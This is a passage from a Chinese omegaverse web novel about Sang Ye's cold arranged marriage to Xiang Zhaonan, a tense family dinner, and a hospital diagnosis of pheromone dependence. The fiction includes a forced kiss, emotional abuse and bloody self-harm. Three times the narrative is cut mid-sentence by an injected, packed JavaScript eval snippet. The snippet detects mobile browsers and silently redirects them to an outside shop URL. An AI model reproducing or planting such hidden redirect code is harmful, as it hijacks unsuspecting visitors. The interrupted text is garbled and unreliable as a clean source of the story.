小老太太乐得合不拢嘴,“边上老李头他家的黄狗生了几只小狗崽,他俩养不过来,说我要的话,等小狗一两个月大就给我送过来。” “我去看了,那狗就这么大一丁点,眼睛都睁不开,但喝奶喝得肚皮圆鼓鼓的,跟你小时候一模一样!” 啊。 这也能跟他扯上关系。 桑也问:“那你要了?” “要啊,怎么不要,我挑了只最像我家小宝的。” 桑也:…… 梅开二度。 “您老还有精力养小狗吗?” “我怎么没有?你和相家那小子给我生个曾孙我都能带!” “咳咳。”桑也怔住片刻,回过神来清了清嗓子,“S市那边养狗要办狗证,到时候我去把它接来,第一时间先去办了。” “办什么狗证?我这乡下,用不上。” 桑也那句话一说出口,沈音华就意识到自家乖孙想说什么,立马拎起装满香瓜的背篓往堂屋里走,只留一个略微佝偻的背影给他。 “大黄狗是吧,田园狗应该挺好□□的。”桑也装听不见,继续说。 沈音华把背篓往地上一方,“说了我用不上,小宝你……” “姥姥,为什么不和我们去S市?在那里我们还能照顾你。我和大哥就剩你一个亲人了。” 桑也的语气很平淡,像粗茶淡饭。 沈音华似有动容,但还是没有松口。 她也想起了逝去的人,声音有些嘶哑:“你爸妈都在这儿,我怎么能留他们独自在春城。” “他们走得太早了。” 一阵风吹过,吹得院子角落的梧桐树发出沙沙声响,覆盖住了人语声。 知道劝不动她,桑也只能让步。 中午时候太阳有些强,一老一小都回房间休息了,到傍晚的时候,院门口有停车声。 刚好桑也醒了,他从窗户看下去,竟然看见了相召南那辆黑色商务车。 桑也揉了揉眼,睡迷糊了吧。 然而等他眼前变得清明,相召南的身影已经出现在车前,助理拎着一个保温袋,看大小,桑也猜应该是蛋糕。 没有人能说服相召南改变主意,即使是他的配偶。 沈音华比他发现得早,到院子里接人去了,桑也不好装视而不见,只能下楼去。 刚到楼下堂屋,助理就把保温箱放在桌上,把蛋糕取出来切好,一气呵成,做完自己就懂事地出去了。 桑也站在桌子的一头,相召南在另一头,没有人讲话,都安静站着。 直到相召南抬起手腕看了眼手表,边上的沈音华才说话打破这怪异的氛围:“什么日子还吃上蛋糕了。” “来,小宝喜欢吃甜的,第一块给你。” 又对相召南说:“你也别站着,坐下一块吃。” 桑也吃了一口,柑橘味冰淇淋质地的蛋糕,奶油入口即化,不腻,应该是比较好的动物奶油。 不知道是谁挑的,或许是助理,或许是某位Omega,又或许是多财多亿的相氏总裁直接当了怨种买了店里最贵的一款。 相召南只尝了一口就放下了叉子,他常年健身,不爱吃甜食,这点桑也是知道的。但好在沈音华虽然年纪大了,身体还算健康,甜的也能吃得下,陪着桑也吃完了一块蛋糕。 桑也刚一吃完,相召南就站起身往外走。还坐着的人纷纷看向他。 然而只走出去两步就停下。 相召南转身看着桑也,身上披着一层浅金色的落日余晖。 “还不走么。” 11. 第 11 章 桑也怔愣了一瞬,一动不动,却见沈音华突然站起来,往屋里跑去。没一会跑出来,拿了个纸袋子,“小宝刚摘的香瓜,你们拿回去吃,纯天然的,不比超市买的差。” 见二人都没有说话的意思,把纸袋子往桑也怀里一塞,“你自个摘的,自个解决。这么多我一个人吃不完多浪费。” 桑也还没反应过来,就已经下意识把袋子拿在手上,他低头看着袋子里青色的香瓜,脑子里还飘着上午一起摘香瓜的画面。 最后轻轻叹了口气。 姥姥这是发现他和相召南之间气氛不对劲,又被相召南送来蛋糕的表象迷惑了。 “那我们先回S市了。”桑也又不能说他现在不想看见相召南,怕沈音华忧心太多,“你要是想我了就给我打电话,我回来看你,姥姥。” 沈音华摆摆手,催命似的把两人赶走了。 相召南的车停在院子门口,助理已经提前打开了车门等着,相召南直接坐进了驾驶位,对助理说:“你开桑也的车回去。” 桑也刚拉开后座的车门,听见相召南的安排,下意识照做,把车钥匙摸出来递给助理,抬脚跨进车后座。 他刚坐下,还没关上车门,恍惚间嗅到了一股冷冽的气息,转头果然从后视镜窥见相召南那张面无表情但又能让他看明白不满之色的脸。 又怎么了? 要他回去,他也跟上了;要助理开他的车,钥匙他也给了。 好复杂。 桑也眨了眨眼睛,真是昏了头,刚才就不该把车钥匙给助理的,他自己开车回去不也一样。 难道是要他回去乘自己的车? 他起身,试探性往外走,又听见车内传来:“桑也,你又做什么。” 哇,不是你摆脸色吗。 桑也默默吐槽,摊了摊手,“我看你脸色不好……” “坐前面。”相召南说。 桑也恍然大悟。 原来是不高兴自己坐后面把他当司机啊。 早说嘛。 他利索坐进副驾驶位,关好车门,良久,车辆始终没有启动,他歪头看着相召南的侧脸。 相召南食指在方向盘上点了点,似乎很不耐烦,吐出三个字:“安全带。” 闻言,桑也的目光向下移动几寸,果然在相召南身前看见了系好的安全带。 还挺有安全意识。 他也老实系上安全带。 车辆这才启动。 车到半途时,桑也接到了陆医生的电话。陆医生说体检的结果已经出来了,他有时间可以到医院拿一下报告。 桑也开了外放,所以相召南也听得见。原本开外放只是怕相召南误会他“私通”,结果陆医生说完之后,相召南倒是回复起来了。 “让他把报告寄到家里。” 桑也哦了一声,跟陆医生转述,“南哥说你直接把报告寄到家里。” 陆医生倒也不墨迹,爽快地答应了——当然爽快,桑家给他开了一个无法拒绝的薪酬。 挂完电话桑也就闭眼靠在靠背上。 经常有人说晕车的人自己开车就不晕了,这话有几分道理。桑也自己开车的时候不晕车,但是坐别人开的车,时间稍微长点,超过一小时,就开始有点迷糊了。 到小区的时候,桑也正闭着眼养神,缓解乘车的疲惫和晕车的难受。 车停下来,肩上蓦地一重。 有双手从他的毛衣衣领穿过,重重按压在他的腺体上。 脆弱娇嫩的腺体剧烈收缩起来。 桑也睁开眼,却看见相召南的脸正在自己面前不足一拳的地方。 他呼吸一滞,“南哥……” 相召南漆黑的眸子在昏暗的停车库里更加幽微,有种说不清道不明的混沌。 “这里怎么了。” 听着像关心,又像问责。 仿佛这个腺体的归属不是他桑也,而是相召南。 极具攻击性的冰霜信息素在密闭的空间迅速扩散,引得他受伤的腺体分外活跃。 桑也睫羽抖了下,解释道:“上午背了东西,腺体可能被背带擦伤了。”他稍稍抬头,“南哥,要……” 闻言,相召南骤然起身,浓烈的冰霜信息素霎时间减淡。 他说:“自己处理好,别再跟发情一样到处散发信息素。” 桑也顿时浑身僵住。 …… 按理说,只有腺体的中心部分才能释放信息素,并且需要诱因,要么是自身的情热期,要么是其他信息素的诱导。但信息素在腺体内毕竟是溶于血液,随血液流动的,擦伤时难免有毛细血管内的信息素逸散出来。 桑也无法使用抑制剂,且这本身就并不是情热期导致,只好自己在浴室里对着镜子用湿毛巾轻轻擦拭,吸走在细小伤口积聚的信息素。 其实他自己并没有闻到柑橘信息素的味道,但相召南和他契合度高,更易察觉,稍微释放一点都能被闻到。 在浴室里处理了二十几分钟,才贴上创可贴,穿上浴袍。 桑也房间内的浴室没有客厅浴室大,也没有镜子,所以他是在客厅浴室处理的。 从浴室出来,看见相召南坐在沙发上,正在看书。 一盏冷白色的壁灯洒下清凉的光辉,正好照亮了相召南半侧脸。 “怎么这么久。” 桑也:“很久吗?还好吧。有什么事吗?” 他看着相召南,对相召南的熟悉告诉他这个男人做不出无缘无故到春城接他、在客厅等他这种事,肯定有事情找他。 果然,他听见相召南说: “娇气。” “明天中午跟我回我妈那边吃饭。” 语气不容置疑,全然不见商讨之色。 桑也和他家的亲人都不太熟络,问:“我能不去吗。” “你觉得呢。”相召南反问。 好吧,桑也只好点头。 一直都是这样,相召南可以答应了又失约,他却不能有拒绝的权利,就像他跑回春城却只能在短暂的停留后又无法推诿地回到了这套房子。 他需要考虑的太多,亏欠,负担,和爱,都成了他忍气吞声的筹码。他甚至觉得,如果有最让人怒其不争的奖项,他绝对能拿到比油画更高等级的荣誉。 毕竟他就是这样的轻贱。 第二天桑也发现创可贴边缘已经起翘,便揭了下来。他用纸巾反复在腺体上沾了沾,放到鼻尖嗅闻,确保没有信息素外溢,才没有贴第二个创可贴。 换上一身稍微正式一点的定制西服,他便和相召南一起去了林家。 相召南的母亲姓林,叫林晓燕,是个Omega,有个Beta弟弟叫林俊,也就是相召南的舅舅,桑也能和相召南结婚,还要多亏了林俊。 林晓燕和相召南的生父离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406590|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婚后,带走了不少财产,基本都交给了林俊做生意,四年前林俊犯了点事,这事吧说大不大,说小不小,有点政府的人脉解决起来也简单。但相召南那时候在商界刚闯出点名堂,和政界有头有脸的人物还没什么深交,自然不好处理。 刚好,桑成下海经商之前有几个关系不错的朋友,说得上话,也乐意照顾好友的两个孩子。 于是交换就达成了。 林家这栋别墅据说是林晓燕离婚时分来的,林晓燕和林俊至今还住在这里。林晓燕单身,林俊身边莺莺燕燕不少,也都往别墅里带。 有时外人提起,桑也留意到相召南都一脸鄙夷的神情,尽管那是他亲舅舅。 但桑也今天来时没见着其他什么人,估计是专门交代了不能什么人都往相召南面前带。 中式的,西式的,摆了一大桌。桑也定睛一看,餐盘上还有某家私房的logo,只当没看见。 虽然桌上有三个人都有血缘,氛围却不见得有多好。久别重逢照例要嘘寒问暖几句,但林晓燕面色严厉,林俊油嘴滑舌,相召南神色平静,桑也夹在中间,也只好不冷不热地应付几句。 这并不是桑也第一次经历,刚结婚没多久他就发现相召南和他母亲舅舅的关系并不像他想象的那样好,至少看起来并没有好到足以让他付出婚姻。 但一直没想通,家庭氛围都诡异成这样了,相召南为什么还会答应这场交易。 说好听点是交易,说难听点就是趁人之危。 大家心照不宣地闲聊了一会,林俊终于忍不住说起了正事。 “侄儿啊,你妈有些事想跟你商量商量,你考虑考虑呗。” 桑也又朝林晓燕看去,刚好看见她放下筷子。 林晓燕不苟言笑,因为年纪增长而变薄的嘴唇总是绷成一条直线。 “你舅舅准备把连锁店开到M市和Q市去,你作为亲侄子,多少还是资助一点,等你舅舅赚了,自然也有你的份。” 三人的目光纷纷投向相召南。 在所有人的凝视下,相召南淡定地捏着筷子。 “S市的门店没有利润吗。” “有是有,但也不多,光靠那点利润哪里能开得起那么多门店。”林俊讪笑。 “你的意思是,没钱,但要扩张,还一次进入两个一线城市,是这样吗?” 林俊和林晓燕相视一眼。 林晓燕冷声道:“你在相氏不就是做投资,你舅舅的不比外人的重要?投个一亿不是什么问题吧。” 这话说的,桑也都替她捏了一把汗。 果然看见相召南放下筷子,金属筷子和瓷盘接触发出清脆声响。 “呵,投资不是做慈善。” “哎话不能这样说,侄儿啊你看这……” “免谈。” 相召南重新拿起筷子,态度已经很显然了。 “相召南,到你爸那边待了几年就把你妈你舅舅忘了个干净是吧!” 林晓燕似乎生气了,倒是林俊拉着她打圆场,说以后再说,先吃饭。 桑也从小到大都没有被亲人用这样的态度对待过,他一边看戏,一边察言观色,琢磨这三个人到底为什么是一家人。 最后,他也没研究明白。 只是悄悄转动眼珠看了眼相召南。 谁知刚好和相召南对视上。 他赶紧转头,塞了两口肉到嘴里。 12. 第 12 章 火千万别烧到他身上来。 桑也默默祈祷。 就说不该来。 这哪里是家宴,这是鸿门宴吧。 他砸吧砸吧嘴,轻声啧了一下。 “吃饭不要发出声音。”身边传来相召南的话,桑也哦了一句,鼓了下腮帮子。 “相召南,你对Omega就是这种态度?” 林晓燕突然说话。 桑也心里震了一下,说曹操曹操到,果然还是提到他了。他不好拂了林晓燕的面子,又不能附和着去指责相召南,两相为难,只能尬笑了两下。 林俊拍了拍他姐姐的肩,道:“哎呀,侄子对谁不是这个态度?桑也你可别生气,他对谁都这样。” 按理说,以桑也的家教,有谁对他说话,他肯定要看着对方的眼睛表示尊重,但此时此刻,他恨不得把头埋进碗里,眼睛珠子都不敢转一下。 林俊说完,林晓燕又接上,“你们结婚也不短了,什么时候要个孩子?你再不生,相家那个野种就该生了。” 野种,说的是……相渡南? 这意思是要他生个孩子去争相家的家产?但他看着相渡南也不像是会和相召南争抢的样子啊。 而且,如果孩子的降生只是为了一些冰冷的家产,那他宁愿没有孩子。 桑也不太乐意听见这话。 在他眼里,孩子是个很美好的存在,不该是争权夺利的工具。 尽管,他也期待有一个自己的孩子。 不过,他的情况不适合怀孕, 还没等他想出委婉拒绝的话,就听见相召南开口了:“还早,急什么。” “早?哪里早了?你们结婚都四年了吧?我和你爸结婚四年的时候你都三岁了。” “我说的是,桑也还小。” 相召南这样说,林晓燕也只能缄默,她总不能再接一句二十二岁已经不小了这种话,毕竟桑也和他们不是至亲,她有脾气也只能冲相召南发。 这场饭大家都没什么胃口,也做不到谈笑风生,只有林俊一个人还笑得出来。 “来,桑也,我敬你一杯。” 突如其来的劝酒让桑也有些无措,他捏着杯子,不懂为什么林俊就要“敬他一杯”。 “几年前,要不是你大哥出手相助,我这会估计还在蹲局子呢!” 原来是因为这个。 桑也站起来,作势要和林俊碰杯。 然后被相召南抬手挡了一下,“他不喝。” “相召南,你就非得和我们作对吗。”林晓燕指责。 这家庭氛围,不说是一家人,还以为是联合国谈判呢。 桑也只好又坐下。 林俊见没人说话场子冷下来了,又开始说:“你也知道,我这做生意没什么头脑,好侄儿不帮衬着我点,我真的很难做啊,你说是吧?都说送佛送到西,你回家帮我再劝劝?你说话肯定比我好使,对吧?” 他倒是不怕尴尬。 桑也咽了下口水,心想你的好侄儿就在面前,你跟我讲这话,不太合适吧。 又拿他当跳板。 他偷偷觑了眼相召南,果然看见对方还是黑着一张脸,意味深长地碾转着:“出手相助。” “你也好意思认下。” 椅脚在瓷砖地面上刮出刺耳的声音,相召南站了起来,居高临下地吐出两个字:“蠢货。” 林晓燕一拍桌案,“相召南!” 然而相召南已经转身离开了餐厅。 “不是我说,姐,你下回跟他说话语气好点,好不容易叫回来一次,你又给人骂跑了,我的投资怎么办?” “我是他妈!” “你是他祖宗也不行,现在没钱怎么办?你必须得给我拿钱出来。” 林晓燕对相召南说话声音也大,态度也差,对林俊倒是容忍。 “我还有点……” 桑也听不下去了,“我去看看南哥。” 没等林家姐弟说话,他径直朝相召南出去的门走去。 林家这个花园,地上叶子落了一地,花花草草枯的枯,败的败,不是缺水,就是缺营养,不像是有人专门打理的样子。 这样的话,桑也也能理解为什么林俊要找相召南要投资了。 相召南站在窗边,两指之间掐着一只香烟,没有点。 听见桑也的脚步声,他回头看来,似笑非笑:“桑也,你听着不觉得愧疚么。” 桑也脚步顿住,停在了相召南面前三步距离的位置。 他歪了歪头,好像听见了自己脖颈僵直转动的声音。 “……什么?” 相召南蓦地笑了一下,舌尖舔了舔后槽牙,“你哥能做出那样龌龊的事情,你呢?心安理得?” “装得不难受吗?” 龌龊? 龌龊吗。 好像是吧。 但是…… “大哥,他……他也是为了我。” 虽然趁人之危的确令人不齿,可要不是为了他,他大哥也不会作出这种事情来。 而且……明明相召南自己也同意了的。 了解了相召南家中情况,他隐隐猜到相召南当初答应和他结婚肯定不是自愿做的交换,林晓燕在里面出力不少,但是——他对自己母亲有意见,为什么要迁怒到他呢? 桑也莫名委屈。 他当然知道这场结合不是两厢情愿,可说到底,他又没有拿刀架在相召南脖子上逼他和自己结婚。 他鼻子泛酸。 相召南却只冷笑。 花园惨绿枯黄,就像他的回忆一样。 …… 入库之后的信息素契合检测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406591|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在查到高契合度的配对之后,都会给当事人发信息。 在他收到信息的第二天,林晓燕突然给他打电话说有事情和他商量。 说是商量,其实是毫无商量余地的告知。 “你舅舅被人害了,现在只有桑家能捞他出来。” “要我做什么。” “结婚。你和桑家那个小儿子。” “我和他不熟。” “感情可以培养,你舅舅进去了怎么办?” “我和他百分百契合的检测结果刚出,林俊就出事,桑家就找上门,你难道觉得这是巧合吗?” 他厌恶林晓燕,也厌恶林晓燕提出的解决方法,甚至不惜用最大的恶意去揣测别人。 “就算是有意的又能怎样?你又没什么人脉,要是能指望得上你,他能有这个机会吗?” 他不愿意,结果林晓燕天天来他公司赌他,明明他也在想别的办法,却被林晓燕各种指责。 最后他忍无可忍,“他自己识人不清,要给别人当法人,没长脑子,进去待两年长长记性正好。” “相召南!那可是你舅舅!你回了相家就要忘了你妈和你舅舅是吗?!” 相召南握紧了拳头,攥紧的掌心流出了腥血。 “……好。”他咬紧牙关。 和桑守安见的第一面,桑受安说:“抱歉,若非耶耶的病不能久拖,我也不会出此下策。” 他心中立马明了。 要说桑家兄弟有多清白,他想未必。 相召南看向面前身体微微颤抖的Omega,对混乱肮脏过去的怒意如同跳动的火苗缭绕在胸口,桑家兄弟情深更让他像阴沟里的老鼠偷窥别人的幸福,被明亮的、温暖的烛火灼伤了眼目。 “为什么出来找我?”突如其来的一句话,没等桑也说什么,他冷笑了一声,“想来看我的笑话?桑也,别以为有桑守安撑腰你就可以胡作非为。” “我不管他是为了什么。” 他伸出手,轻轻拍了拍Omega的脸,“但你,最好是安分守己,知道么。” 桑也瞳孔骤然收缩,脸上冰冷的触感激得他浑身一抖。 那指尖只是轻轻一点,送来零星外溢的冰霜信息素,便如同粗绳一样将他牢牢束缚住。 无形的压力迫使他低头,弯腰,低眉顺眼,甚至让他留恋那寒冷的余温。 然而相召南的话太伤人心。 像一根根密密麻麻的细针扎在他的心口。 他咬紧了牙关,像樊笼中的金丝雀泣血冲出牢笼,瘦削的下巴颤个不停,才从牙关挤出几个字:“那你呢?” 不想像以往一样臣服在信息素下,对一切折辱都照单全收。 相召南只怪异地看他一眼,“别胡思乱想。” 折断了没有点燃的烟,烟叶被指尖碾碎。 13. 第 13 章 家宴只是一段小插曲。 回去之后半个多月的时间相召南都没有回过华润湾,桑也倒也没多关心询问。 区区半个月,还不算最长的时间。 相召南最长一次没有回家应该有一个多月,凌星知道后直呼别说出轨,就是死外面了你也不知道啊。 桑也只能笑笑。 刚结婚的时候他时常给相召南打电话“骚扰”他,问他什么时候回家。 相召南被他烦得受不了了,问他:“你不用上课吗?” 桑也说他的学校自由度比较高,画足够量的画就行,没有硬性的上课指标。 相召南可能也震惊了,说了句:“我不知道你们学艺术的闲不闲,但我很忙。你要是闲得没事干,就去开个店。” 说到这个份上,桑也当然明白相召南是嫌他太烦了。 后来也只是情热期才会给他打电话。 但Omega天生依赖Alpha信息素,更别说他这种本身就存在腺体疾病的Omega,为了缓解疾症,学会了做饭。 时常去公司送个饭,有时候能见到相召南,有时候见不到,但没关系,他学会了在办公室停留的短短的几分钟内偷偷汲取一点信息素涵养腺体。 不过他到没有像相召南说的那样去开店。 一来他并非真的清闲,绘画的任务并不轻松;二来在他们圈子里一直有这样的话流传,二代只要不奋发图强,家底足够挥霍一辈子,他去创业,纯粹是给他哥使绊子。 月底的时候,学校通知大四学生回校布置毕业展览。 他们学油画的相比其他艺术设计的同学稍微轻松点,只用按照主题绘制一幅油画,虽然前期费脑子,但确定内容之后绘画还算轻松。 而隔壁学雕塑的,学设计的,学视觉传达的,就苦了许多,就算想好了要做什么,还得费劲去搜集材料,去和商家沟通定制,朋友圈里早就有人被折磨得破口大骂,期待着早点展览,收工大吉。 这次毕业季的主题是“出圈”。 桑也准备的油画名为“腺体花园”,绚丽多彩的腺体剖面被鲜花填充,血管里流着花蜜,腺体外甜蜜的黄色和青葱的绿色流动着,看似朦胧美好,却暗藏着各类对花朵虎视眈眈的野兽。 枯萎的鲜花受尽嘲讽,盛开的鲜花又危机四伏。信息素的“出圈”,是好是坏,难成定论。 这是所有Omega的困境。 画作已经装裱,尺寸不小,他请了两个工人帮他搬进展厅。 安放好之后他给工人结算了工资,又站在各种距离看了看效果,确认无误之后才用红色的丝绒布盖上,等开展前一天由学校工作人员解开。 刚走出展厅,就收到了导员的信息,说有事找他。 他去了导员的办公室。 “桑同学,本科毕业后你有出国深造的想法吗?” 他们学院里有不少学艺术理论的同学,这部分人大多数会选择读研,出国或者境内,但纯粹学艺术创作的,往往在本科期间就已经有了收入,本科毕业后就业的不在少数。 而桑也,一方面学历高低对他没有多少加成,另一方面相比于跟着谁学习,受到各种指点,他更喜欢独自创作,在他看来,绘画是一件很私密的事情。 他轻轻摇头。 令他不解的是,都已经这个时间了,导员怎么还会问这些。 “有什么事吗?” 导员坐直了身体,道:“是这样的,M国的史密斯,就是前几年声名显赫的那个现实主义大师,有意向招收你为学生,你考虑一下?” 史密斯名气不小,怎么会看上他?他们毫无交集。 天上不会掉馅饼,这么简单的道理桑也自然明白,加之他并没有拜谁为师的想法,他谨慎道:“我考虑一下可以吗?” “行,你考虑好尽快给我个答复。” 离开学校的路上,他给桑守安发了个消息,让他查查史密斯,看看到底是什么原因让他得到了这位大师的青睐。 还走出校门,桑守安那边就回了消息,“这位史密斯一直在国外,近期没有来过C国,按理说应该不认识你才对。” “懂了,骗子。”桑也回复完,委婉跟导员表示拒绝。 导员问他为什么,他也不好说我怀疑你们要噶我腰子,只说:“我结婚了,不方便出国。” 他从车库把车开出来,一路上不少人投来目光,甚至在学校门口等红绿灯时还有个Alpha敲了他的车窗,问他有没有时间一起吃个饭。 桑也婉拒,用同样的理由。 “我已经结婚了。” “可是你看起来很年轻——也没有戴婚戒。” 桑也一哽,没礼貌的臭小子。他没戴婚戒,还能是因为什么,当然是因为没有啊。 刚好绿灯亮了,他二话不说摇起车窗,走了。 不过那个Alpha说的吃个饭倒让他想起了学校边上美食街的一家烧烤店,他打转方向盘,朝着美食街开去。 烧烤店不是什么高档场所,两个烧烤架子,几张圆桌,万年不变的红色椅子,以及四周各安置一台的超大风扇。 桑也找了张靠边角的桌子坐下,按自己的食量点了餐。 老板动作很快,没一会就送上来了,孜然和辣椒粉的香气在高温下完全释放出来了,很让他怀念。 刚吃上,身后就传来一句:“嫂子?是你吗嫂子?” 桑也放下签子,擦拭了下嘴,还没转头回去看,说话的人就已经走到了他身边,果然是相渡南。 “嫂子——” “不要叫我嫂子。” 相渡南脸上有一丝尴尬。 桑也解释:“周围人多,你叫我名字就行。” “噢噢,那我叫你桑哥?”相渡南自来熟地抽出他前面的椅子坐下,“桑哥这家店好吃吗?闻起来好香啊!我好久都没吃辣的了,这给我馋的。” “你喜欢吃辣?” “对啊,家里阿姨老是做清淡的,嘴巴一点味都没有。” 桑也一听这话,直接给他递了一串,“味道还可以,加辣的,你试试。” 他像是遇到知音一般,爱吃辣的能是什么坏人? 相渡南话多,坐下一边吃一边讲话,又是说自己来这个学校是为了给春山买几副画装点装点,原话是“我没什么品味,但我知道这种艺术学校的学生肯定比我有品味,找他们买画拿回去装逼正好”,又是问桑也怎么在这里。 得知桑也是这所学校的学生,高兴得就差拉着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406592|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手问能不能给他介绍介绍。 桑也不动声色地侧了侧身,微笑道:“你想要哪种类型的?我可以看看有没有同学适合你。” “哪种都行,别太忧郁,那种太网络男神了,青春点,阳光点的。” 被他说的这句网络男神逗笑了,桑也发现这个人还挺有意思的,虽然没什么艺术品位,但真诚得好玩。 他说:“我家里有几幅,你要不看看?” 相渡南哪里会挑,立马和桑也收拾东西往华润湾去了。 考虑到相渡南和相召南关系不睦,他作为相召南的Omega,无论从哪个方面来说,都不好把人带回家,便让相渡南在车库等他。 相渡南倒是没有介意,表示能理解。 画室里有他刚结婚时画的几幅画,刚好符合相渡南的要求,阳光明媚,他一一打包给相渡南拿去。 相渡南见了,直呼桑也简直是画到他心坎上去了,和他想要的一模一样。 桑也心里高兴,但面上不显。 “你觉得合适就行。” “桑哥你开个价,我扫你。” “不用了,放着也是放着,你直接拿去就行。” 他帮着把画放进相渡南车的后备箱,没多闲聊,相渡南已经坐上了驾驶位,看起来很急着回去把画挂上。 车辆开走时,还传来相渡南的声音:“桑哥,谢了啊!” 桑也目送他离开。 等人走了,他才笑了一下。好多画都没有机会得见天日,他以为这些画永远只能藏在画室里,现在发现还有人喜欢,心里多少有些欣喜。 他转身离开,面前的一辆车的车灯突然闪烁了起来,照得他不得不抬手遮挡。 闭着眼睛的桑也有些郁闷,怎么有人这样没素质。 没等他放下手,就听见熟悉的声音。 “桑也,我是不是告诉过你,不要和不三不四的人来往。” 桑也闻言,立马放下手臂,顶着刺眼的车灯灯光,直直看向昏暗的车内,那里有一个轮廓眼熟的人影。 “笑得跟花一样,怎么不跟他走呢?反正跟我还是跟他,都是相家儿媳,嗯?” 桑也原还不错的心情立马沉郁下来,像欢快的钢琴曲陡然变了调。 他的神情被相召南看在眼里,又成了某种不言而喻的态度。 车门砰的合上,下来的人脸色阴沉,大步跨来,攥着他的手腕,把人拽到电梯口。 亮起的电梯按钮泛着红光,电梯口前的桑也扭了下手腕,“南哥,你弄疼了我。” 然而回应他的不是松开的力道,而是天旋地转的感觉,他被推到墙上,单薄的肩骨一疼,不自觉发出嗯的一声闷哼。 冰冷的唇吮吸着他的唇瓣,像是要把他拆吞入腹。 难以呼吸。 太大力了,唇齿相交,他口中瞬间迷漫起了血雾,铁锈味如同烟花炸开。 “唔——”他无力地推了推相召南的胸口 “装什么,这不正是你喜欢的。” 桑也没有说话,或者说,他否认不了。即使他可以嘴上说着不喜欢,车库里越来越浓郁的橘香也只会如同呈堂罪证一样把他的一切昭示天下,毫无隐私。 他呼吸急促,“回,回去……” 14. 第 14 章 “报告已经出来了。” 陆医生从检验科拿到结果,和同事谈论了一会才基本有了定论,他推开检验室大门,果然在门口见到了那位焦灼的桑先生。 今天早上他们医院突然接收到一位急症患者,浑身都是血,乍一看以为遇到什么险情被人乱刀砍伤了,结果检查发现全身的伤口都是患者自己抓挠的,并且持续不断有自残行为。 接手的护士初以为患者患有抑郁症而导致的自残行为,但患者神志不清完全无法沟通,源源不断往外释放的Omega信息素让他们不禁怀疑这人的自残行为并未自愿。 他们先是给患者打了一针镇定剂,再给人抽血、抽信息素送去化验检查,刚拿到检查结果。 数值异于常人,十分罕见,但对他们医生而言又并不陌生,因为那些数据虽然在现实中少有出现,在他们医学教科书上却是个重点。 非常标准的一个信息素依赖症。 患者的兄长,经常出现在电视上的一个人,桑守安,此刻正等候在检验室门口,神色灼灼。 陆医生将蓝色水笔插进白大褂的口袋,在桑守安开口询问前向他示意。 “边走边说吧,我想这件事情当事人应该有知情权。” “根据目前的检测结果来看,桑小先生患有罕见的信息素依赖症,所以情热期才会爆发如此剧烈的应激反应。因为缺乏契合的Alpha信息素蕴养腺体,对Alpha信息素的渴求转化为渴痛,这种渴求迁移在很多病症上都有体现。” “就像你手上划了道口子,时不时痛一下,不算剧烈,但经久难耐。大多数人会忍着痛等它痊愈,但也有部分人会选择用伤害自己的方式转移注意力来稍作缓解。” 话音落地,刚好走到患者所在的vip病房,他敲了敲门,立马有个四五十岁的阿姨开了门。 “先生,小先生的病医生怎么说?”开门的妇人有些急切,连人都没看清就问起来,“医生?请进请进!” 陆医生颔首示意,“镇定剂的作用只有两个小时,人还没醒吗?” 一般人光是血液检验都不止两个小时,更何况还有信息素检验,得出结论等等,但桑家钱多,能砸钱解决的都不是问题。 所以才会出现检验结果都出了病人还睡着的情况。 床上的人脸色苍白,乌黑的短碎发盖在脸颊上,胸口均匀起伏,似乎正熟睡。 阿姨解释:“这才两个小时,我们小先生伤成那样,多休息会也……”她还没说完,就见桑守安走到床头,揉了揉那枚毛茸茸的黑色脑袋。 “耶耶,下次装睡眼睛别转。” 动作极尽温柔,说的话也让人极为尴尬。 床上上一秒还熟睡的人立马“悠悠转醒”睁开了眼。 其实桑也就是在阿姨开门的时候醒的,但又因为困怠没有睁开眼,后来听到医生询问,他又扭捏地不好意思睁眼,干脆装睡。 结果就被他大哥点破了。 他因为尴尬,脸上还涌出一股红润之色。 “哦,好吧,下次一定。” “哥,我是怎么了?” 他小声问。 昨天夜里他突然爆发情热期,因为学校的教育很完备,他提前准备了抑制剂,也做好了自己给自己打针的准备,结果出乎他预料的是抑制剂对他的情热期似乎没有作用。 想到这里,他都忍不住脸红,被信息素控制的Omega做出了极尽淫靡之事。 可无论他怎么安抚自己,那种从生殖腔里弥漫出来的、从腺体里生发出来的空虚都无法被解决填满,甚至转化为燥热、瘙痒、疼痛,像蚂蚁啃噬骨髓一样让他坐也坐不得,站也站不得,不管他怎么做,都有一种恨不得把骨头都掰断的渴望。 情热期竟然如此难捱吗?桑也第一次经历,他不知道这不正常,自然也没有向家里人求助。 最后他的记忆模糊了,只朦胧看见指甲缝里全是血,腿上,腰上,腹部,胸口,都是血痕。 